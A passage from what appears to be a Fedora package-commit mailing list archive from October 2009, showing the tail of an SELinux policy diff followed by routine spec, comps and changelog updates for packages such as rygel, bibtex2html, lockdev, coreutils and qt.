@@ -28240,6 +28328,10 @@ diff -b -B --ignore-all-space --exclude-
 +	')
 +
 +	optional_policy(`
++		execmem_role_template($1, $1_r, $1_t)
++	')
++
++	optional_policy(`
 +		java_role_template($1, $1_r, $1_t)
 +	')
 +
@@ -28261,7 +28353,7 @@ diff -b -B --ignore-all-space --exclude-
  	')
  ')
  
-@@ -1040,7 +1168,7 @@
+@@ -1040,7 +1172,7 @@
  template(`userdom_admin_user_template',`
  	gen_require(`
  		attribute admindomain;
@@ -28270,7 +28362,7 @@ diff -b -B --ignore-all-space --exclude-
  	')
  
  	##############################
-@@ -1049,8 +1177,7 @@
+@@ -1049,8 +1181,7 @@
  	#
  
  	# Inherit rules for ordinary users.
@@ -28280,7 +28372,7 @@ diff -b -B --ignore-all-space --exclude-
  
  	domain_obj_id_change_exemption($1_t)
  	role system_r types $1_t;
-@@ -1075,6 +1202,9 @@
+@@ -1075,6 +1206,9 @@
  	# Skip authentication when pam_rootok is specified.
  	allow $1_t self:passwd rootok;
  
@@ -28290,7 +28382,7 @@ diff -b -B --ignore-all-space --exclude-
  	kernel_read_software_raid_state($1_t)
  	kernel_getattr_core_if($1_t)
  	kernel_getattr_message_if($1_t)
-@@ -1089,6 +1219,7 @@
+@@ -1089,6 +1223,7 @@
  	kernel_sigstop_unlabeled($1_t)
  	kernel_signull_unlabeled($1_t)
  	kernel_sigchld_unlabeled($1_t)
@@ -28298,7 +28390,7 @@ diff -b -B --ignore-all-space --exclude-
  
  	corenet_tcp_bind_generic_port($1_t)
  	# allow setting up tunnels
-@@ -1096,8 +1227,6 @@
+@@ -1096,8 +1231,6 @@
  
  	dev_getattr_generic_blk_files($1_t)
  	dev_getattr_generic_chr_files($1_t)
@@ -28307,7 +28399,7 @@ diff -b -B --ignore-all-space --exclude-
  	# Allow MAKEDEV to work
  	dev_create_all_blk_files($1_t)
  	dev_create_all_chr_files($1_t)
-@@ -1124,6 +1253,8 @@
+@@ -1124,6 +1257,8 @@
  	files_exec_usr_src_files($1_t)
  
  	fs_getattr_all_fs($1_t)
@@ -28316,7 +28408,7 @@ diff -b -B --ignore-all-space --exclude-
  	fs_set_all_quotas($1_t)
  	fs_exec_noxattr($1_t)
  
-@@ -1152,20 +1283,6 @@
+@@ -1152,20 +1287,6 @@
  	# But presently necessary for installing the file_contexts file.
  	seutil_manage_bin_policy($1_t)
  
@@ -28337,7 +28429,7 @@ diff -b -B --ignore-all-space --exclude-
  	optional_policy(`
  		postgresql_unconfined($1_t)
  	')
-@@ -1211,6 +1328,7 @@
+@@ -1211,6 +1332,7 @@
  	dev_relabel_all_dev_nodes($1)
  
  	files_create_boot_flag($1)
@@ -28345,7 +28437,7 @@ diff -b -B --ignore-all-space --exclude-
  
  	# Necessary for managing /boot/efi
  	fs_manage_dos_files($1)
-@@ -1276,11 +1394,15 @@
+@@ -1276,11 +1398,15 @@
  interface(`userdom_user_home_content',`
  	gen_require(`
  		type user_home_t;
@@ -28361,7 +28453,7 @@ diff -b -B --ignore-all-space --exclude-
  ')
  
  ########################################
-@@ -1391,12 +1513,13 @@
+@@ -1391,12 +1517,13 @@
  	')
  
  	allow $1 user_home_dir_t:dir search_dir_perms;
@@ -28376,7 +28468,7 @@ diff -b -B --ignore-all-space --exclude-
  ## </summary>
  ## <param name="domain">
  ##	<summary>
-@@ -1429,6 +1552,14 @@
+@@ -1429,6 +1556,14 @@
  
  	allow $1 user_home_dir_t:dir list_dir_perms;
  	files_search_home($1)
@@ -28391,7 +28483,7 @@ diff -b -B --ignore-all-space --exclude-
  ')
  
  ########################################
-@@ -1444,9 +1575,11 @@
+@@ -1444,9 +1579,11 @@
  interface(`userdom_dontaudit_list_user_home_dirs',`
  	gen_require(`
  		type user_home_dir_t;
@@ -28403,7 +28495,7 @@ diff -b -B --ignore-all-space --exclude-
  ')
  
  ########################################
-@@ -1503,6 +1636,25 @@
+@@ -1503,6 +1640,25 @@
  	allow $1 user_home_dir_t:dir relabelto;
  ')
  
@@ -28429,7 +28521,7 @@ diff -b -B --ignore-all-space --exclude-
  ########################################
  ## <summary>
  ##	Create directories in the home dir root with
-@@ -1577,6 +1729,8 @@
+@@ -1577,6 +1733,8 @@
  	')
  
  	dontaudit $1 user_home_t:dir search_dir_perms;
@@ -28438,7 +28530,7 @@ diff -b -B --ignore-all-space --exclude-
  ')
  
  ########################################
-@@ -1670,6 +1824,7 @@
+@@ -1670,6 +1828,7 @@
  		type user_home_dir_t, user_home_t;
  	')
  
@@ -28446,7 +28538,7 @@ diff -b -B --ignore-all-space --exclude-
  	read_files_pattern($1, { user_home_dir_t user_home_t }, user_home_t)
  	files_search_home($1)
  ')
-@@ -1797,19 +1952,32 @@
+@@ -1797,19 +1956,32 @@
  #
  interface(`userdom_exec_user_home_content_files',`
  	gen_require(`
@@ -28486,7 +28578,7 @@ diff -b -B --ignore-all-space --exclude-
  ')
  
  ########################################
-@@ -1844,6 +2012,7 @@
+@@ -1844,6 +2016,7 @@
  interface(`userdom_manage_user_home_content_files',`
  	gen_require(`
  		type user_home_dir_t, user_home_t;
@@ -28494,7 +28586,7 @@ diff -b -B --ignore-all-space --exclude-
  	')
  
  	manage_files_pattern($1, user_home_t, user_home_t)
-@@ -2391,27 +2560,7 @@
+@@ -2391,27 +2564,7 @@
  
  ########################################
  ## <summary>
@@ -28523,7 +28615,7 @@ diff -b -B --ignore-all-space --exclude-
  ## </summary>
  ## <param name="domain">
  ##	<summary>
-@@ -2765,11 +2914,32 @@
+@@ -2765,11 +2918,32 @@
  #
  interface(`userdom_search_user_home_content',`
  	gen_require(`
@@ -28558,7 +28650,7 @@ diff -b -B --ignore-all-space --exclude-
  ')
  
  ########################################
-@@ -2897,7 +3067,25 @@
+@@ -2897,7 +3071,25 @@
  		type user_tmp_t;
  	')
  
@@ -28585,7 +28677,7 @@ diff -b -B --ignore-all-space --exclude-
  ')
  
  ########################################
-@@ -2934,6 +3122,7 @@
+@@ -2934,6 +3126,7 @@
  	')
  
  	read_files_pattern($1, userdomain, userdomain)
@@ -28593,7 +28685,7 @@ diff -b -B --ignore-all-space --exclude-
  	kernel_search_proc($1)
  ')
  
-@@ -3064,3 +3253,559 @@
+@@ -3064,3 +3257,559 @@
  
  	allow $1 userdomain:dbus send_msg;
  ')



From pbrobinson at fedoraproject.org  Fri Oct  2 15:02:03 2009
From: pbrobinson at fedoraproject.org (Peter Robinson)
Date: Fri,  2 Oct 2009 15:02:03 +0000 (UTC)
Subject: rpms/rygel/devel .cvsignore, 1.4, 1.5 rygel.spec, 1.14, 1.15 sources,
	1.4, 1.5
Message-ID: <20091002150203.DF96311C0337@cvs1.fedora.phx.redhat.com>

Author: pbrobinson

Update of /cvs/pkgs/rpms/rygel/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv979

Modified Files:
	.cvsignore rygel.spec sources 
Log Message:
- Update to 0.4.2


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/rygel/devel/.cvsignore,v
retrieving revision 1.4
retrieving revision 1.5
diff -u -p -r1.4 -r1.5
--- .cvsignore	25 Sep 2009 14:42:35 -0000	1.4
+++ .cvsignore	2 Oct 2009 15:02:03 -0000	1.5
@@ -1 +1 @@
-rygel-0.4.1.tar.bz2
+rygel-0.4.2.tar.bz2


Index: rygel.spec
===================================================================
RCS file: /cvs/pkgs/rpms/rygel/devel/rygel.spec,v
retrieving revision 1.14
retrieving revision 1.15
diff -u -p -r1.14 -r1.15
--- rygel.spec	25 Sep 2009 14:59:37 -0000	1.14
+++ rygel.spec	2 Oct 2009 15:02:03 -0000	1.15
@@ -1,5 +1,5 @@
 Name:           rygel
-Version:        0.4.1
+Version:        0.4.2
 Release:        1%{?dist}
 Summary:        A UPnP v2 Media Server
 
@@ -96,6 +96,9 @@ rm -rf %{buildroot}
 %{_datadir}/vala/vapi/rygel-1.0.vapi
 
 %changelog
+* Fri Oct  2 2009 Peter Robinson <pbrobinson at gmail.com> 0.4.2-1
+- Update to 0.4.2
+
 * Fri Sep 25 2009 Bastien Nocera <bnocera at redhat.com> 0.4.1-1
 - Update to 0.4.1
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/rygel/devel/sources,v
retrieving revision 1.4
retrieving revision 1.5
diff -u -p -r1.4 -r1.5
--- sources	25 Sep 2009 14:42:35 -0000	1.4
+++ sources	2 Oct 2009 15:02:03 -0000	1.5
@@ -1 +1 @@
-7b1335ccf4d0f1ede454e094d73ef868  rygel-0.4.1.tar.bz2
+79a33b9875eacdcb22d9d195aaf24028  rygel-0.4.2.tar.bz2



From rdieter at fedoraproject.org  Fri Oct  2 15:02:30 2009
From: rdieter at fedoraproject.org (Rex Dieter)
Date: Fri,  2 Oct 2009 15:02:30 +0000 (UTC)
Subject: comps comps-f12.xml.in,1.141,1.142 comps-f13.xml.in,1.32,1.33
Message-ID: <20091002150230.741A711C0337@cvs1.fedora.phx.redhat.com>

Author: rdieter

Update of /cvs/pkgs/comps
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv1001

Modified Files:
	comps-f12.xml.in comps-f13.xml.in 
Log Message:
install both phonon backends by default



Index: comps-f12.xml.in
===================================================================
RCS file: /cvs/pkgs/comps/comps-f12.xml.in,v
retrieving revision 1.141
retrieving revision 1.142
diff -u -p -r1.141 -r1.142
--- comps-f12.xml.in	2 Oct 2009 15:00:48 -0000	1.141
+++ comps-f12.xml.in	2 Oct 2009 15:02:30 -0000	1.142
@@ -3657,6 +3657,8 @@
       <packagereq type="default">ksshaskpass</packagereq>
       <packagereq type="default">ktorrent</packagereq>
       <packagereq type="default">NetworkManager-gnome</packagereq>
+      <packagereq type="default">phonon-backend-gstreamer</packagreq>
+      <packagereq type="default">phonon-backend-xine</packagereq>
       <packagereq type="default">pinentry-qt</packagereq>
       <packagereq type="default">polkit-gnome</packagereq>
       <packagereq type="default">scribus</packagereq>


Index: comps-f13.xml.in
===================================================================
RCS file: /cvs/pkgs/comps/comps-f13.xml.in,v
retrieving revision 1.32
retrieving revision 1.33
diff -u -p -r1.32 -r1.33
--- comps-f13.xml.in	2 Oct 2009 15:00:48 -0000	1.32
+++ comps-f13.xml.in	2 Oct 2009 15:02:30 -0000	1.33
@@ -3628,6 +3628,8 @@
       <packagereq type="default">ksshaskpass</packagereq>
       <packagereq type="default">ktorrent</packagereq>
       <packagereq type="default">NetworkManager-gnome</packagereq>
+      <packagereq type="default">phonon-backend-gstreamer</packagreq>
+      <packagereq type="default">phonon-backend-xine</packagereq>
       <packagereq type="default">pinentry-qt</packagereq>
       <packagereq type="default">scribus</packagereq>
       <packagereq type="default">system-config-printer-kde</packagereq>



From ovasik at fedoraproject.org  Fri Oct  2 15:06:08 2009
From: ovasik at fedoraproject.org (Ondrej Vasik)
Date: Fri,  2 Oct 2009 15:06:08 +0000 (UTC)
Subject: rpms/coreutils/devel coreutils.spec,1.280,1.281
Message-ID: <20091002150608.1509911C00C1@cvs1.fedora.phx.redhat.com>

Author: ovasik

Update of /cvs/extras/rpms/coreutils/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv2524

Modified Files:
	coreutils.spec 
Log Message:
apply upstream patch #3 later to prevent fuzz


Index: coreutils.spec
===================================================================
RCS file: /cvs/extras/rpms/coreutils/devel/coreutils.spec,v
retrieving revision 1.280
retrieving revision 1.281
diff -u -p -r1.280 -r1.281
--- coreutils.spec	2 Oct 2009 14:41:18 -0000	1.280
+++ coreutils.spec	2 Oct 2009 15:06:06 -0000	1.281
@@ -112,7 +112,6 @@ Libraries for coreutils package.
 # From upstream
 %patch1 -p1 -b .roxattr
 %patch2 -p1 -b .lzip
-%patch3 -p1 -b .inode
 
 # Our patches
 %patch100 -p1 -b .configure
@@ -140,6 +139,9 @@ Libraries for coreutils package.
 %patch950 -p1 -b .selinux
 %patch951 -p1 -b .selinuxman
 
+#apply upstream patch later to prevent defuzzing
+%patch3 -p1 -b .inode
+
 chmod a+x tests/misc/sort-mb-tests
 
 #fix typos/mistakes in localized documentation(#439410, #440056)



From guidograzioli at fedoraproject.org  Fri Oct  2 15:13:12 2009
From: guidograzioli at fedoraproject.org (Guido Grazioli)
Date: Fri,  2 Oct 2009 15:13:12 +0000 (UTC)
Subject: rpms/bibtex2html/F-10 .cvsignore, 1.2, 1.3 bibtex2html.spec, 1.1,
	1.2 sources, 1.2, 1.3
Message-ID: <20091002151312.77BD911C00C1@cvs1.fedora.phx.redhat.com>

Author: guidograzioli

Update of /cvs/pkgs/rpms/bibtex2html/F-10
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv5204

Modified Files:
	.cvsignore bibtex2html.spec sources 
Log Message:
Update to 1.94


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/bibtex2html/F-10/.cvsignore,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- .cvsignore	9 May 2009 21:54:07 -0000	1.2
+++ .cvsignore	2 Oct 2009 15:13:11 -0000	1.3
@@ -1 +1 @@
-bibtex2html-1.93.tar.gz
+bibtex2html-1.94.tar.gz


Index: bibtex2html.spec
===================================================================
RCS file: /cvs/pkgs/rpms/bibtex2html/F-10/bibtex2html.spec,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- bibtex2html.spec	9 May 2009 21:54:07 -0000	1.1
+++ bibtex2html.spec	2 Oct 2009 15:13:11 -0000	1.2
@@ -3,8 +3,8 @@
 %global debug_package %{nil}
 
 Name:           bibtex2html
-Version:        1.93
-Release:        3%{?dist}
+Version:        1.94
+Release:        1%{?dist}
 Summary:        Collection of tools for translating from BibTeX to HTML
 
 Group:          Applications/Publishing
@@ -21,6 +21,7 @@ BuildRequires:  tex(latex)
 BuildRequires:  hevea
 %endif
 
+ExcludeArch: sparc64 s390 s390x
 
 %description
 bibtex2html is a collection of tools for translating from BibTeX to HTML. 
@@ -66,10 +67,21 @@ rm -rf %{buildroot}
 %{_bindir}/*
 
 %changelog
+* Fri Oct 02 2009 Guido Grazioli <guido.grazioli at gmail.com> - 1.94-1
+- Upstream 1.94
+
+* Tue Sep 22 2009 Dennis Gilmore <dennis at ausil.us> - 1.93-5
+- ExcludeArch sparc64 s390 s390x
+
+* Fri Jul 24 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 1.93-4
+- Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
+
 * Thu Mar 19 2009 Guido Grazioli <guido.grazioli at gmail.com> 1.93-3
 - added manual (no html on ppc64 until hevea available)
+
 * Wed Mar 18 2009 Guido Grazioli <guido.grazioli at gmail.com> 1.93-2
 - sanitized charset conversion
 - added smp make flags
+
 * Tue Mar 17 2009 Guido Grazioli <guido.grazioli at gmail.com> 1.93-1
 - initial packaging


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/bibtex2html/F-10/sources,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- sources	9 May 2009 21:54:07 -0000	1.2
+++ sources	2 Oct 2009 15:13:11 -0000	1.3
@@ -1 +1 @@
-64657c791a29b873467b20bad9705983  bibtex2html-1.93.tar.gz
+16e6656156e10c07747163a0914058b8  bibtex2html-1.94.tar.gz



From pbrobinson at fedoraproject.org  Fri Oct  2 15:13:22 2009
From: pbrobinson at fedoraproject.org (Peter Robinson)
Date: Fri,  2 Oct 2009 15:13:22 +0000 (UTC)
Subject: rpms/rygel/F-12 .cvsignore, 1.4, 1.5 rygel.spec, 1.14, 1.15 sources,
	1.4, 1.5
Message-ID: <20091002151322.73EA811C00C1@cvs1.fedora.phx.redhat.com>

Author: pbrobinson

Update of /cvs/pkgs/rpms/rygel/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv5379

Modified Files:
	.cvsignore rygel.spec sources 
Log Message:
- Update to 0.4.2


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/rygel/F-12/.cvsignore,v
retrieving revision 1.4
retrieving revision 1.5
diff -u -p -r1.4 -r1.5
--- .cvsignore	25 Sep 2009 14:42:35 -0000	1.4
+++ .cvsignore	2 Oct 2009 15:13:21 -0000	1.5
@@ -1 +1 @@
-rygel-0.4.1.tar.bz2
+rygel-0.4.2.tar.bz2


Index: rygel.spec
===================================================================
RCS file: /cvs/pkgs/rpms/rygel/F-12/rygel.spec,v
retrieving revision 1.14
retrieving revision 1.15
diff -u -p -r1.14 -r1.15
--- rygel.spec	25 Sep 2009 14:59:37 -0000	1.14
+++ rygel.spec	2 Oct 2009 15:13:22 -0000	1.15
@@ -1,5 +1,5 @@
 Name:           rygel
-Version:        0.4.1
+Version:        0.4.2
 Release:        1%{?dist}
 Summary:        A UPnP v2 Media Server
 
@@ -96,6 +96,9 @@ rm -rf %{buildroot}
 %{_datadir}/vala/vapi/rygel-1.0.vapi
 
 %changelog
+* Fri Oct  2 2009 Peter Robinson <pbrobinson at gmail.com> 0.4.2-1
+- Update to 0.4.2
+
 * Fri Sep 25 2009 Bastien Nocera <bnocera at redhat.com> 0.4.1-1
 - Update to 0.4.1
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/rygel/F-12/sources,v
retrieving revision 1.4
retrieving revision 1.5
diff -u -p -r1.4 -r1.5
--- sources	25 Sep 2009 14:42:35 -0000	1.4
+++ sources	2 Oct 2009 15:13:22 -0000	1.5
@@ -1 +1 @@
-7b1335ccf4d0f1ede454e094d73ef868  rygel-0.4.1.tar.bz2
+79a33b9875eacdcb22d9d195aaf24028  rygel-0.4.2.tar.bz2



From jpopelka at fedoraproject.org  Fri Oct  2 15:13:46 2009
From: jpopelka at fedoraproject.org (=?utf-8?b?SmnFmcOtIFBvcGVsa2E=?=)
Date: Fri,  2 Oct 2009 15:13:46 +0000 (UTC)
Subject: rpms/lockdev/devel lockdev.spec,1.33,1.34
Message-ID: <20091002151346.5761711C00C1@cvs1.fedora.phx.redhat.com>

Author: jpopelka

Update of /cvs/pkgs/rpms/lockdev/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv5759

Modified Files:
	lockdev.spec 
Log Message:
* Fri Oct 02 2009 Jiri Popelka <jpopelka at redhat.com> - 1.0.1-18
- Fixed mixed-use-of-spaces-and-tabs



Index: lockdev.spec
===================================================================
RCS file: /cvs/pkgs/rpms/lockdev/devel/lockdev.spec,v
retrieving revision 1.33
retrieving revision 1.34
diff -u -p -r1.33 -r1.34
--- lockdev.spec	2 Oct 2009 14:47:46 -0000	1.33
+++ lockdev.spec	2 Oct 2009 15:13:45 -0000	1.34
@@ -1,7 +1,7 @@
 Summary: A library for locking devices
 Name: lockdev
 Version: 1.0.1
-Release: 17%{?dist}
+Release: 18%{?dist}
 License: LGPLv2+
 Group: System Environment/Libraries
 URL: http://packages.debian.org/unstable/source/lockdev
@@ -66,7 +66,7 @@ make \
     libdir=${RPM_BUILD_ROOT}%{_libdir} \
     incdir=${RPM_BUILD_ROOT}%{_includedir} \
     mandir=${RPM_BUILD_ROOT}%{_mandir} \
-	install
+        install
 /sbin/ldconfig -n $RPM_BUILD_ROOT/%{_libdir}
 
 mkdir -p $RPM_BUILD_ROOT/var/lock
@@ -82,7 +82,7 @@ rm -fr $RPM_BUILD_ROOT
 
 %files
 %defattr(-,root,root)
-%attr(2711,root,lock)	%{_sbindir}/lockdev
+%attr(2711,root,lock)  %{_sbindir}/lockdev
 %{_libdir}/*.so.*
 %{_mandir}/man8/*
 
@@ -94,7 +94,10 @@ rm -fr $RPM_BUILD_ROOT
 %{_includedir}/*
 
 %changelog
-* Fri Oct 01 2009 Jiri Popelka <jpopelka at redhat.com> - 1.0.1-17
+* Fri Oct 02 2009 Jiri Popelka <jpopelka at redhat.com> - 1.0.1-18
+- Fixed mixed-use-of-spaces-and-tabs
+
+* Fri Oct 02 2009 Jiri Popelka <jpopelka at redhat.com> - 1.0.1-17
 - Removed PreReq tag
 
 * Fri Sep 25 2009 Jiri Popelka <jpopelka at redhat.com> - 1.0.1-16



From dwalsh at fedoraproject.org  Fri Oct  2 15:15:37 2009
From: dwalsh at fedoraproject.org (Daniel J Walsh)
Date: Fri,  2 Oct 2009 15:15:37 +0000 (UTC)
Subject: rpms/selinux-policy/devel modules-minimum.conf, 1.37,
	1.38 modules-targeted.conf, 1.146, 1.147 selinux-policy.spec,
	1.933, 1.934
Message-ID: <20091002151537.9752611C00C1@cvs1.fedora.phx.redhat.com>

Author: dwalsh

Update of /cvs/extras/rpms/selinux-policy/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv6559

Modified Files:
	modules-minimum.conf modules-targeted.conf selinux-policy.spec 
Log Message:
* Thu Oct 1 2009 Dan Walsh <dwalsh at redhat.com> 3.6.32-17
- Allow vpnc request the kernel to load modules



Index: modules-minimum.conf
===================================================================
RCS file: /cvs/extras/rpms/selinux-policy/devel/modules-minimum.conf,v
retrieving revision 1.37
retrieving revision 1.38
diff -u -p -r1.37 -r1.38
--- modules-minimum.conf	30 Sep 2009 17:37:43 -0000	1.37
+++ modules-minimum.conf	2 Oct 2009 15:15:35 -0000	1.38
@@ -900,6 +900,13 @@ mount = base
 # 
 mozilla = module
 
+# Layer: admin
+# Module: ntop
+#
+# Policy for ntop
+# 
+ntop = module
+
 # Layer: services
 # Module: nslcd
 #


Index: modules-targeted.conf
===================================================================
RCS file: /cvs/extras/rpms/selinux-policy/devel/modules-targeted.conf,v
retrieving revision 1.146
retrieving revision 1.147
diff -u -p -r1.146 -r1.147
--- modules-targeted.conf	30 Sep 2009 17:37:43 -0000	1.146
+++ modules-targeted.conf	2 Oct 2009 15:15:36 -0000	1.147
@@ -900,6 +900,13 @@ mount = base
 # 
 mozilla = module
 
+# Layer: admin
+# Module: ntop
+#
+# Policy for ntop
+# 
+ntop = module
+
 # Layer: services
 # Module: nslcd
 #


Index: selinux-policy.spec
===================================================================
RCS file: /cvs/extras/rpms/selinux-policy/devel/selinux-policy.spec,v
retrieving revision 1.933
retrieving revision 1.934
diff -u -p -r1.933 -r1.934
--- selinux-policy.spec	30 Sep 2009 18:50:23 -0000	1.933
+++ selinux-policy.spec	2 Oct 2009 15:15:36 -0000	1.934
@@ -20,7 +20,7 @@
 Summary: SELinux policy configuration
 Name: selinux-policy
 Version: 3.6.32
-Release: 14%{?dist}
+Release: 16%{?dist}
 License: GPLv2+
 Group: System Environment/Base
 Source: serefpolicy-%{version}.tgz
@@ -366,7 +366,8 @@ SELinux Reference policy minimum base mo
 %saveFileContext minimum
 
 %post minimum
-%loadpolicy minimum
+packages="unconfined.pp.bz2 unconfineduser.pp.bz2"
+%loadpolicy minimum $packages
 if [ $1 -eq 1 ]; then
 semanage -S minimum -i - << __eof
 login -m  -s unconfined_u -r s0-s0:c0.c1023 __default__
@@ -448,8 +449,16 @@ exit 0
 %endif
 
 %changelog
-* Wed Sep 30 2009 Dan Walsh <dwalsh at redhat.com> 3.6.32-14
+* Thu Oct 1 2009 Dan Walsh <dwalsh at redhat.com> 3.6.32-17
+- Allow vpnc request the kernel to load modules
+
+* Wed Sep 30 2009 Dan Walsh <dwalsh at redhat.com> 3.6.32-16
+- Fix minimum policy installs
+- Allow udev and rpcbind to request the kernel to load modules
+
+* Wed Sep 30 2009 Dan Walsh <dwalsh at redhat.com> 3.6.32-15
 - Add plymouth policy
+- Allow local_login to sys_admin
 
 * Tue Sep 29 2009 Dan Walsh <dwalsh at redhat.com> 3.6.32-13
 - Allow cupsd_config to read user tmp



From dwalsh at fedoraproject.org  Fri Oct  2 15:23:33 2009
From: dwalsh at fedoraproject.org (Daniel J Walsh)
Date: Fri,  2 Oct 2009 15:23:33 +0000 (UTC)
Subject: rpms/selinux-policy/F-12 selinux-policy.spec,1.936,1.937
Message-ID: <20091002152333.E73FA11C00C1@cvs1.fedora.phx.redhat.com>

Author: dwalsh

Update of /cvs/extras/rpms/selinux-policy/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv9888

Modified Files:
	selinux-policy.spec 
Log Message:
* Fri Oct 2 2009 Dan Walsh <dwalsh at redhat.com> 3.6.32-20
- Add chrome-sandbox policy
- Split out execmem policy



Index: selinux-policy.spec
===================================================================
RCS file: /cvs/extras/rpms/selinux-policy/F-12/selinux-policy.spec,v
retrieving revision 1.936
retrieving revision 1.937
diff -u -p -r1.936 -r1.937
--- selinux-policy.spec	2 Oct 2009 13:36:23 -0000	1.936
+++ selinux-policy.spec	2 Oct 2009 15:23:31 -0000	1.937
@@ -20,7 +20,7 @@
 Summary: SELinux policy configuration
 Name: selinux-policy
 Version: 3.6.32
-Release: 19%{?dist}
+Release: 20%{?dist}
 License: GPLv2+
 Group: System Environment/Base
 Source: serefpolicy-%{version}.tgz
@@ -449,6 +449,10 @@ exit 0
 %endif
 
 %changelog
+* Fri Oct 2 2009 Dan Walsh <dwalsh at redhat.com> 3.6.32-20
+- Add chrome-sandbox policy
+- Split out execmem policy
+
 * Fri Oct 2 2009 Dan Walsh <dwalsh at redhat.com> 3.6.32-19
 - Add labeling for /var/run/kdm
 



From guidograzioli at fedoraproject.org  Fri Oct  2 15:27:09 2009
From: guidograzioli at fedoraproject.org (Guido Grazioli)
Date: Fri,  2 Oct 2009 15:27:09 +0000 (UTC)
Subject: rpms/bibtex2html/F-12 .cvsignore, 1.2, 1.3 bibtex2html.spec, 1.3,
	1.4 sources, 1.2, 1.3
Message-ID: <20091002152709.AF84F11C00C1@cvs1.fedora.phx.redhat.com>

Author: guidograzioli

Update of /cvs/pkgs/rpms/bibtex2html/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv11537

Modified Files:
	.cvsignore bibtex2html.spec sources 
Log Message:
Update to 1.94


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/bibtex2html/F-12/.cvsignore,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- .cvsignore	9 May 2009 21:28:45 -0000	1.2
+++ .cvsignore	2 Oct 2009 15:27:08 -0000	1.3
@@ -1 +1 @@
-bibtex2html-1.93.tar.gz
+bibtex2html-1.94.tar.gz


Index: bibtex2html.spec
===================================================================
RCS file: /cvs/pkgs/rpms/bibtex2html/F-12/bibtex2html.spec,v
retrieving revision 1.3
retrieving revision 1.4
diff -u -p -r1.3 -r1.4
--- bibtex2html.spec	22 Sep 2009 19:57:52 -0000	1.3
+++ bibtex2html.spec	2 Oct 2009 15:27:09 -0000	1.4
@@ -3,8 +3,8 @@
 %global debug_package %{nil}
 
 Name:           bibtex2html
-Version:        1.93
-Release:        5%{?dist}
+Version:        1.94
+Release:        1%{?dist}
 Summary:        Collection of tools for translating from BibTeX to HTML
 
 Group:          Applications/Publishing
@@ -67,6 +67,9 @@ rm -rf %{buildroot}
 %{_bindir}/*
 
 %changelog
+* Fri Oct 02 2009 Guido Grazioli <guido.grazioli at gmail.com> - 1.94-1
+- Upstream 1.94
+
 * Tue Sep 22 2009 Dennis Gilmore <dennis at ausil.us> - 1.93-5
 - ExcludeArch sparc64 s390 s390x
 
@@ -75,8 +78,10 @@ rm -rf %{buildroot}
 
 * Thu Mar 19 2009 Guido Grazioli <guido.grazioli at gmail.com> 1.93-3
 - added manual (no html on ppc64 until hevea available)
+
 * Wed Mar 18 2009 Guido Grazioli <guido.grazioli at gmail.com> 1.93-2
 - sanitized charset conversion
 - added smp make flags
+
 * Tue Mar 17 2009 Guido Grazioli <guido.grazioli at gmail.com> 1.93-1
 - initial packaging


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/bibtex2html/F-12/sources,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- sources	9 May 2009 21:28:45 -0000	1.2
+++ sources	2 Oct 2009 15:27:09 -0000	1.3
@@ -1 +1 @@
-64657c791a29b873467b20bad9705983  bibtex2html-1.93.tar.gz
+16e6656156e10c07747163a0914058b8  bibtex2html-1.94.tar.gz



From rdieter at fedoraproject.org  Fri Oct  2 15:30:49 2009
From: rdieter at fedoraproject.org (Rex Dieter)
Date: Fri,  2 Oct 2009 15:30:49 +0000 (UTC)
Subject: rpms/qt/devel qt.spec,1.335,1.336
Message-ID: <20091002153049.8597811C0419@cvs1.fedora.phx.redhat.com>

Author: rdieter

Update of /cvs/pkgs/rpms/qt/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv12818

Modified Files:
	qt.spec 
Log Message:
skip kde-qt 0013 patch for now



Index: qt.spec
===================================================================
RCS file: /cvs/pkgs/rpms/qt/devel/qt.spec,v
retrieving revision 1.335
retrieving revision 1.336
diff -u -p -r1.335 -r1.336
--- qt.spec	2 Oct 2009 14:34:00 -0000	1.335
+++ qt.spec	2 Oct 2009 15:30:48 -0000	1.336
@@ -394,7 +394,7 @@ Qt libraries used for drawing widgets an
 ## doesn't apply (looks mostly harmless, affects -raster engine)
 #patch212 -p1 -b .kde-qt-0012
 ## doesn't apply (Kevin?)
-%patch213 -p1 -b .kde-qt-0013
+#patch213 -p1 -b .kde-qt-0013
 ## upstreamed already?
 #patch214 -p1 -b .kde-qt-0014
 %patch215 -p1 -b .kde-qt-0015



From praveenp at fedoraproject.org  Fri Oct  2 15:31:31 2009
From: praveenp at fedoraproject.org (Praveen K Paladugu)
Date: Fri,  2 Oct 2009 15:31:31 +0000 (UTC)
Subject: rpms/sblim-sfcb/F-12 sblim-sfcb.spec,1.2,1.3
Message-ID: <20091002153131.D3CC911C0419@cvs1.fedora.phx.redhat.com>

Author: praveenp

Update of /cvs/pkgs/rpms/sblim-sfcb/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv13138

Modified Files:
	sblim-sfcb.spec 
Log Message:
bumped up the release to make a new tag



Index: sblim-sfcb.spec
===================================================================
